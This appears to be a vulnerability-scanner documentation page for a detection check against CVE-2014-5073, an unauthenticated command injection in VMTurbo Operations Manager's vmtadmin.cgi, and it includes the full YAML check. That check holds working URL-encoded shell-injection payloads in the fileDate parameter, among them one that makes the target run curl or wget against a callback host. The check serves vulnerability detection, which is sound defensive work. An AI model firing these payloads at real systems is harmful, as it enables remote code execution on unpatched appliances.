VMTurbo — 1 vulnerability check
noctis ships 1 vulnerability check for VMTurbo, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
VMTurbo Operations Manager vmtadmin.cgi fileDate Command Injection
| CVE | CVE-2014-5073 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, http_request, match, wait_oob · highest QoD 97 |
| Feed | tests/vulnerabilities/vmturbo/CVE-2014-5073.yaml |
Detects the unauthenticated OS command injection in VMTurbo Operations Manager before 4.6 build 28657: /cgi-bin/vmtadmin.cgi runs the fileDate parameter of a callType=DOWN request through a shell. When the callType=ACTION&actionType=VERSIONS reply identifies the appliance, the test sends the configuration-backup download (actionType=CFGBACKUP) twice with a fileDate whose backticks write NOCTIS<a + b> (shell arithmetic on per-run random operands) into the temporary download file, and requires the shell-computed sum in the downloaded content. When out-of-band detection is configured, a second payload makes the appliance fetch the per-run callback URL with curl or wget, which covers builds that do not return the file. If neither proof fires, a VERSIONS reply showing a release up to 4.6 with a build below 28657 is reported as a version-only finding.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET /cgi-bin/vmtadmin.cgi?callType=ACTION&actionType=VERSIONS - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET /cgi-bin/vmtadmin.cgi?callType=DOWN&actionType=CFGBACKUP&fileDate=%22%60echo%20NOCTIS… - Checks
inj1.bodyforNOCTIS[0-9]{7}→ finding QoD 97: VMTurbo Operations Manager command injection confirmed via GET /cgi-bin/vmtadmin.cgi?callType=DOWN&actionType=CFGBACKUP (fileDate="`echo NO… - HTTP(S) request
GET /cgi-bin/vmtadmin.cgi?callType=DOWN&actionType=CFGBACKUP&fileDate=%22%60echo%20NOCTIS… - Checks
inj2.bodyforNOCTIS[0-9]{7}→ finding QoD 97: VMTurbo Operations Manager command injection confirmed via GET /cgi-bin/vmtadmin.cgi?callType=DOWN&actionType=CFGBACKUP (fileDate="`echo NO… - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET /cgi-bin/vmtadmin.cgi?callType=DOWN&actionType=CFGBACKUP&fileDate=%22%60curl%20-s%20-… - Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: VMTurbo Operations Manager blind command injection confirmed via GET /cgi-bin/vmtadmin.cgi?callType=DOWN&actionType=CFGBACKUP (fileDate): a…
- Parses / computes the next value with a Rhai script
- Checks
ver.bodyforvmtbuild:[0-9]+,vmtrelease:[0-9][0-9.]*→ finding QoD 70: VMTurbo Operations Manager Vulnerable Version (CVE-2014-5073)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2014-5073
- http://secunia.com/secunia_research/2014-8/
- http://www.exploit-db.com/exploits/34335
- http://www.securityfocus.com/bid/69225
Feed source — tests/vulnerabilities/vmturbo/CVE-2014-5073.yaml
# VMTurbo Operations Manager — unauthenticated OS command injection through
# the fileDate parameter of /cgi-bin/vmtadmin.cgi (callType=DOWN), CVE-2014-5073.
#
# Ported from OpenVAS/Greenbone NVT `2014/gb_vmturbo_operations_manager_69225.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.105067, GPL-2.0-only). The NASL sends
# GET /cgi-bin/vmtadmin.cgi?callType=DOWN&actionType=CFGBACKUP&fileDate="`echo%20<rand>%20>%20/tmp/vmtbackup.zip`"
# twice (its second `url` is never turned into a request, so the same request
# goes out again) and greps the 200 reply — the CFGBACKUP download, which
# streams /tmp/vmtbackup.zip — for <rand>. The Metasploit module
# (vmturbo_vmtadmin_exec_noauth, exploit-db 34335) injects into the same
# parameter and fingerprints with callType=ACTION&actionType=VERSIONS
# (`vmtbuild:<n>,vmtrelease:<x.y>,vmtbits:..,osbits:..`).
#
# Detection:
# 1. Gate: the VERSIONS reply identifies the appliance.
# 2. In-band proof (QoD 97): same request shape as the NASL, sent twice, but
# the echoed text is `NOCTIS$((<a>+<b>))` with per-run random operands
# (500000..999999). Only a shell computes the 7-digit sum, which never
# appears in the request, so a reply that reflects or strips fileDate
# cannot produce it. The only write is the one the NASL makes: the
# marker line goes to /tmp/vmtbackup.zip, the temporary file the
# CFGBACKUP download streams (regenerated by the next real backup).
# 3. Blind fallback (oob_enabled only, QoD 97): the injected command fetches
# the per-run OOB URL with curl (wget if curl is missing), the token split
# by an empty '' pair so only a shell rebuilds the path. Covers builds
# where the download does not return the overwritten file. The NASL
# misses those.
# 4. Version fallback (QoD 70): when no proof fired, a VERSIONS reply with a
# release <= 4.6 and a build < 28657 (the fixed build per the CVE record)
# is reported as a version-only finding. The NASL reports nothing then.
#
# CVSS: NVD carries only a CVSS v2 score for this CVE (7.5,
# AV:N/AC:L/Au:N/C:P/I:P/A:P).
uid: 5ebe3e5b-2c8d-46a4-90e6-feb8d92f6775
name: "VMTurbo Operations Manager vmtadmin.cgi fileDate Command Injection (CVE-2014-5073)"
description: |
Detects the unauthenticated OS command injection in VMTurbo Operations
Manager before 4.6 build 28657: /cgi-bin/vmtadmin.cgi runs the fileDate
parameter of a callType=DOWN request through a shell. When the
callType=ACTION&actionType=VERSIONS reply identifies the appliance, the test
sends the configuration-backup download (actionType=CFGBACKUP) twice with a
fileDate whose backticks write NOCTIS<a + b> (shell arithmetic on per-run
random operands) into the temporary download file, and requires the
shell-computed sum in the downloaded content. When out-of-band detection is
configured, a second payload makes the appliance fetch the per-run callback
URL with curl or wget, which covers builds that do not return the file. If
neither proof fires, a VERSIONS reply showing a release up to 4.6 with a
build below 28657 is reported as a version-only finding.
cves: [CVE-2014-5073]
cvss: 7.5
severity: high
confidence_base: 0.30
category: rce
tags: [vmturbo, operations-manager, cgi, command-injection, rce, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2014-5073"
- "http://secunia.com/secunia_research/2014-8/"
- "http://www.exploit-db.com/exploits/34335"
- "http://www.securityfocus.com/bid/69225"
steps:
# Per-run operands; marker = NOCTIS<a+b> (always 7 digits).
- id: gen-proof
action: script
code: |
let a = rand_int(500000, 999999);
let b = rand_int(500000, 999999);
#{ a: a, b: b, marker: "NOCTIS" + (a + b) }
store_as: proof
- id: init-ver
action: set_var
var_name: ver
var_value: {status: 0, body: null}
- id: init-inj1
action: set_var
var_name: inj1
var_value: {status: 0, body: null}
- id: init-inj2
action: set_var
var_name: inj2
var_value: {status: 0, body: null}
# Appliance fingerprint (same request as the Metasploit check).
- id: versions
action: http_request
method: GET
port: "{{port}}"
path: "/cgi-bin/vmtadmin.cgi?callType=ACTION&actionType=VERSIONS"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: ver
- id: gate
action: script
code: |
let b = ver.body;
let ok = false;
let build = 0;
let release = "";
if ver.status == 200 && type_of(b) == "string" {
let m = eregmatch("vmtbuild:([0-9]+),vmtrelease:([0-9][0-9.]*)", b);
if type_of(m) == "array" && m.len() >= 3 {
ok = true;
build = int(m[1]);
release = m[2];
}
}
#{ ok: ok, build: build, release: release }
store_as: gate
# NASL request shape, the echoed text swapped for the arithmetic marker:
# %22 = " %60 = ` %20 = space %24%28%28 = $(( %2B = + %29%29 = )) %3E = >
- id: inject-1
action: http_request
method: GET
port: "{{port}}"
path: "/cgi-bin/vmtadmin.cgi?callType=DOWN&actionType=CFGBACKUP&fileDate=%22%60echo%20NOCTIS%24%28%28{{proof.a}}%2B{{proof.b}}%29%29%20%3E%20/tmp/vmtbackup.zip%60%22"
tls_insecure: true
follow_redirects: false
timeout_secs: 20
condition: "gate.ok"
store_as: inj1
- id: confirm-1
action: match
source: inj1.body
pattern: "NOCTIS[0-9]{7}"
condition: "gate.ok && inj1.status == 200 && type_of(inj1.body) == \"string\" && stridx(inj1.body, proof.marker) >= 0"
on_match:
finding:
confidence_delta: 0.67
qod: 97
evidence: "VMTurbo Operations Manager command injection confirmed via GET /cgi-bin/vmtadmin.cgi?callType=DOWN&actionType=CFGBACKUP (fileDate=\"`echo NOCTIS$(({{proof.a}}+{{proof.b}})) > /tmp/vmtbackup.zip`\"): a shell evaluated the per-run arithmetic and the backup download returned {{proof.marker}}"
stop: true
# The NASL sends the request a second time and reads that reply: the
# download may stream the file before the injected command rewrites it.
- id: inject-2
action: http_request
method: GET
port: "{{port}}"
path: "/cgi-bin/vmtadmin.cgi?callType=DOWN&actionType=CFGBACKUP&fileDate=%22%60echo%20NOCTIS%24%28%28{{proof.a}}%2B{{proof.b}}%29%29%20%3E%20/tmp/vmtbackup.zip%60%22"
tls_insecure: true
follow_redirects: false
timeout_secs: 20
condition: "gate.ok"
store_as: inj2
- id: confirm-2
action: match
source: inj2.body
pattern: "NOCTIS[0-9]{7}"
condition: "gate.ok && inj2.status == 200 && type_of(inj2.body) == \"string\" && stridx(inj2.body, proof.marker) >= 0"
on_match:
finding:
confidence_delta: 0.67
qod: 97
evidence: "VMTurbo Operations Manager command injection confirmed via GET /cgi-bin/vmtadmin.cgi?callType=DOWN&actionType=CFGBACKUP (fileDate=\"`echo NOCTIS$(({{proof.a}}+{{proof.b}})) > /tmp/vmtbackup.zip`\", sent twice): a shell evaluated the per-run arithmetic and the backup download returned {{proof.marker}}"
stop: true
# Blind fallback: the appliance fetches the per-run OOB URL. Output goes to
# /dev/null, both clients are time-bounded. %27%27 = '' %7C%7C = ||
- id: split-oob-token
action: script
condition: "oob_enabled && gate.ok"
code: |
let n = strlen(oob_token);
#{ a: substr(oob_token, 0, 7), b: substr(oob_token, 8, n - 1) }
store_as: oobsplit
- id: inject-oob
action: http_request
method: GET
port: "{{port}}"
path: "/cgi-bin/vmtadmin.cgi?callType=DOWN&actionType=CFGBACKUP&fileDate=%22%60curl%20-s%20-m%205%20-o%20/dev/null%20http://{{oob_host}}:{{oob_port}}/{{oobsplit.a}}%27%27{{oobsplit.b}}%20%7C%7C%20wget%20-q%20-T%205%20-t%201%20-O%20/dev/null%20http://{{oob_host}}:{{oob_port}}/{{oobsplit.a}}%27%27{{oobsplit.b}}%60%22"
tls_insecure: true
follow_redirects: false
timeout_secs: 20
condition: "oob_enabled && gate.ok"
store_as: inj_oob
- id: wait-callback
action: wait_oob
oob_timeout_secs: 20
condition: "oob_enabled && gate.ok"
store_as: oob_result
on_success:
finding:
confidence_delta: 0.67
qod: 97
evidence: "VMTurbo Operations Manager blind command injection confirmed via GET /cgi-bin/vmtadmin.cgi?callType=DOWN&actionType=CFGBACKUP (fileDate): a shell removed the ''-split in the OOB token and the injected curl/wget fetched the per-run OOB URL (HTTP callback received)"
stop: true
# Version-only fallback: release <= 4.6 and build < 28657.
- id: version-check
action: script
condition: "gate.ok"
code: |
let parts = split(gate.release, ".");
let major = int(parts[0]);
let minor = if parts.len() > 1 && parts[1] != "" { int(parts[1]) } else { 0 };
let old_release = major < 4 || (major == 4 && minor <= 6);
#{ vulnerable: old_release && gate.build < 28657 }
store_as: vercheck
- id: version-finding
action: match
source: ver.body
pattern: "vmtbuild:[0-9]+,vmtrelease:[0-9][0-9.]*"
condition: "gate.ok && vercheck.vulnerable"
on_match:
finding:
confidence_delta: 0.40
qod: 70
title: "VMTurbo Operations Manager Vulnerable Version (CVE-2014-5073)"
evidence: "VMTurbo Operations Manager release {{gate.release}} build {{gate.build}} (callType=ACTION&actionType=VERSIONS) is older than 4.6 build 28657; the command injection itself could not be confirmed (no marker in the download, no OOB callback)"